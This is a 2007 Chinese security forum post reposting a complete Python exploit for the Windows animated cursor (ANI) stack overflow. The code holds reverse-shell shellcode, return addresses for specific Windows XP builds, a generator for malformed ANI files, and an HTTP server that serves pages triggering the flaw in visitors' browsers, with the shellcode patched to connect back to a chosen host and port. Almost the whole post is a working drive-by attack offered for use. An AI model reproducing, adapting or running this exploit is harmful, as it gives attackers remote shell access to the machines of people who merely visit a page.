Microsoft Windows Animated Cursor Stack Overflow Exploit

ring04h
团队执行官
Rank: 8 Rank: 8
E.S.T核心成员社区主管
帖子: 3917
精华: 128
积分: 209624
阅读权限: 200
性别: 男
在线时间: 1089 小时
注册时间: 2007-10-23
最后登录: 2008-7-4
资料收集奖运营支持奖
发短消息
加为好友
当前离线
楼主大中小发表于 2007-6-12 01:04 只看该作者
Microsoft Windows Animated Cursor Stack Overflow Exploit

复制内容到剪贴板
代码:

#!/usr/bin/env python



#

#  $Id: win32-loadaniicon.py 4 2007-06-02 00:47:59Z ramon $

#

#  Windows Animated Cursor Stack Overflow Exploit

#  Copyright 2007 Ramon de Carvalho Valle <[email]ramon@risesecurity.org[/email]>,

#  RISE Security <[email]contact@risesecurity.org[/email]>

#

#  This program is free software; you can redistribute it and/or modify

#  it under the terms of the GNU General Public License as published by

#  the Free Software Foundation; either version 2 of the License, or

#  (at your option) any later version.

#

#  This program is distributed in the hope that it will be useful,

#  but WITHOUT ANY WARRANTY; without even the implied warranty of

#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

#  GNU General Public License for more details.

#

#  You should have received a copy of the GNU General Public License

#  along with this program; if not, write to the Free Software

#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA

#



#

# Windows Animated Cursor Stack Overflow Vulnerability

# [url]http://www.determina.com/security.research/vulnerabilities/ani-header.html[/url]

#



from BaseHTTPServer import *

from os.path import *

from random import *

from socket import *

from string import *

from struct import *

from sys import *



#

# windows/shell_reverse_tcp - 287 bytes

# [url]http://www.metasploit.com[/url]

# EXITFUNC=seh, LPORT=1234, LHOST=127.0.0.1

#

buf = \

&#39;\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b&#39; + \

&#39;\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01&#39; + \

&#39;\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07&#39; + \

&#39;\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f&#39; + \

&#39;\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b&#39; + \

&#39;\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c&#39; + \

&#39;\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff&#39; + \

&#39;\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0&#39; + \

&#39;\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08&#39; + \

&#39;\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53&#39; + \

&#39;\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\x7f\x00\x00\x01\x66&#39; + \

&#39;\x68\x04\xd2\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff&#39; + \

&#39;\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a&#39; + \

&#39;\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95&#39; + \

&#39;\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68&#39; + \

&#39;\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51&#39; + \

&#39;\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff&#39; + \

&#39;\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04&#39; + \

&#39;\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6&#39; + \

&#39;\xff\xd0&#39;



# Target list

target = [ \

  # call [ebx+4]



  # Microsoft Windows XP SP2 user32.dll (5.1.2600.2622) Multi Language

  {&#39;addr&#39;: 0x25ba, &#39;len&#39;: 2, &#39;offset&#39;: 80},



  # Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language

  {&#39;addr&#39;: 0x25d0, &#39;len&#39;: 2, &#39;offset&#39;: 80},



  # Microsoft Windows XP SP2 userenv.dll (5.1.2600.2180) English

  {&#39;addr&#39;: 0x769fc81a, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) English

  # {&#39;addr&#39;: 0x77d825d0, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # Microsoft Windows XP SP2 userenv.dll (5.1.2600.2180) Portuguese (Brazil)

  {&#39;addr&#39;: 0x769dc81a, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # Microsoft Windows XP SP2 user32.dll (5.1.2600.2180) Portuguese (Brazil)

  # {&#39;addr&#39;: 0x77d625d0, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # call [esi+4]



  # Microsoft Windows XP SP1a userenv.dll English

  {&#39;addr&#39;: 0x75a758b1, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # Microsoft Windows XP SP1a shell32.dll English

  # {&#39;addr&#39;: 0x77441a66, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # Microsoft Windows XP userenv.dll (5.1.2600.0) Portuguese (Brazil)

  {&#39;addr&#39;: 0x75a4579b, &#39;len&#39;: 4, &#39;offset&#39;: 80},



  # Microsoft Windows XP shell32.dll (6.0.2600.0) Portuguese (Brazil)

  # {&#39;addr&#39;: 0x77427214, &#39;len&#39;: 4, &#39;offset&#39;: 80},

]



# Target list index

tidx = 0



def randstr(count = 1, charset = &#39;ascii_alpha&#39;):

  # Set the charset

  if charset == &#39;ascii_alpha&#39;:

    charset = digits + ascii_uppercase + ascii_lowercase

  elif charset == &#39;ascii_letters&#39;:

    charset = ascii_letters

  elif charset == &#39;ascii_lowercase&#39;:

    charset = ascii_lowercase

  elif charset == &#39;ascii_uppercase&#39;:

    charset = ascii_uppercase

  elif charset == &#39;digits&#39;:

    charset = digits

  elif charset == &#39;hexdigits&#39;:

    charset = hexdigits

  elif charset == &#39;octdigits&#39;:

    charset = octdigits



  # Create the string

  i = 0

  str = &#39;&#39;



  while i < count:

    str = str + charset[randint(0, len(charset)-1)]

    i = i + 1



  return str





def riff_chunk():

  chunk_id = randstr(4)

  chunk_data = randstr(randint(1, 256)*2)

  chunk_size = pack(&#39;<L&#39;, len(chunk_data))



  return chunk_id + chunk_size + chunk_data





def riff_ani_file():

  global buf, target, tidx



  # Create the first header subchunk

  anih_a = [36, randint(1, 65535), randint(1, 65535), 0, 0, 0, 0, 0, 1]

  anih_a = pack(&#39;<%dL&#39; % len(anih_a), *[i for i in anih_a])

  anih_a = &#39;anih&#39; + pack(&#39;<L&#39;, len(anih_a)) + anih_a



  # Create the second header subchunk

  anih_b = randstr(target[tidx][&#39;offset&#39;])



  # Set the current indexed target

  if target[tidx][&#39;len&#39;] == 1:

    anih_b = anih_b + pack(&#39;<B&#39;, target[tidx][&#39;addr&#39;])

  elif target[tidx][&#39;len&#39;] == 2:

    anih_b = anih_b + pack(&#39;<H&#39;, target[tidx][&#39;addr&#39;])

  else:

    anih_b = anih_b + pack(&#39;<L&#39;, target[tidx][&#39;addr&#39;])



  anih_b = &#39;anih&#39; + pack(&#39;<L&#39;, len(anih_b)) + anih_b



  # Format ID

  riff = &#39;ACON&#39;



  # Random subchunks

  for i in range(randint(1, 256)):

    riff = riff + riff_chunk()



  # First header subchunk

  riff = riff + anih_a



  # Random subchunks

  for i in range(randint(1, 256)):

    riff = riff + riff_chunk()



  # Second header subchunk

  riff = riff + anih_b



  # Shellcode

  riff = riff + buf



  # File ID and length of file

  riff = &#39;RIFF&#39; + pack(&#39;<L&#39;, len(riff)) + riff



  # Update the target list index

  if tidx < len(target)-1:

    tidx = tidx + 1

  else:

    tidx = 0



  return riff





def randhtml():

  global buf, target, tidx



  # Random RIFF file extensions

  extension = [&#39;ani&#39;, &#39;avi&#39;, &#39;cdr&#39;, &#39;rmi&#39;, &#39;wav&#39;]



  # Random html document

  html = \

  &#39;<html>\n<head>\n<title>&#39; + \

  randstr(randint(1, 256)) + \

  &#39;</title>\n</head>\n<body>\n&#39;



  for i in range(randint(0, 4)):

    html = html + randstr(randint(1, 256)) + &#39;\n&#39;



  for i in range(len(target)):

    html = html + \

    &#39;<div id="&#39; + randstr(randint(4, 16)) + &#39;" &#39; \

    &#39;style="cursor: url(/&#39; + randstr(randint(4, 16)) + &#39;.&#39; + \

    extension[randint(0, len(extension)-1)] + &#39;)">\n&#39;



    for i in range(randint(0, 4)):

      html = html + randstr(randint(1, 256)) + &#39;\n&#39;



    html = html + &#39;</div>\n&#39;



    for i in range(randint(0, 4)):

      html = html + randstr(randint(1, 256)) + &#39;\n&#39;



  html = html + &#39;</body>\n</html>\n&#39;



  return html





class RequestHandler(BaseHTTPRequestHandler):

  def do_GET(self):

    self.send_response(200)



    if self.path == &#39;/&#39;:

      # Send the html document

      html = randhtml()

      self.send_header(&#39;Content-Type&#39;, &#39;text/html; charset=UTF-8&#39;)

      self.send_header(&#39;Content-Length&#39;, str(len(html)))

      self.end_headers()

      self.wfile.write(html)

      return



    # Generate and send the RIFF file

    riff = riff_ani_file()

    self.send_header(&#39;Content-Type&#39;, &#39;application/octetstream&#39;)

    self.send_header(&#39;Content-Length&#39;, str(len(riff)))

    self.end_headers()

    self.wfile.write(riff)





def usage():

  print &#39;Usage: ./%s <http_host> <http_port> <host> <port>&#39; \

  % basename(argv[0])





if __name__ == &#39;__main__&#39;:

  print &#39;Windows Animated Cursor Stack Overflow Exploit&#39;

  print &#39;Copyright 2007 RISE Security <[email]contact@risesecurity.org[/email]>\n&#39;



  args = argv[1:]



  if &#39;-h&#39; in args or &#39;--help&#39; in args:

    usage()

    exit()



  http_host = &#39;0.0.0.0&#39;

  http_port = 8080

  host = &#39;127.0.0.1&#39;

  port = 1234



  try:

    http_host = argv[1]

    http_port = atoi(argv[2])

    host = argv[3]

    port = atoi(argv[4])

  except:

    pass



  # Set shellcode host and port to connect to

  buf = buf[:160] + inet_aton(gethostbyname(host)) + buf[164:]

  buf = buf[:166] + pack(&#39;<H&#39;, port) + buf[168:]



  # Start the HTTP server

  server_class = HTTPServer

  httpd = server_class((http_host, http_port), RequestHandler)



  print &#39;Listening on %s:%s&#39; % (http_host, http_port)



  try:

    httpd.serve_forever()

  except:

    pass
TOP
‹‹ 上一主题 | 下一主题 ››
邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Microsoft Windows Animated Cursor Stack Overflow Exploit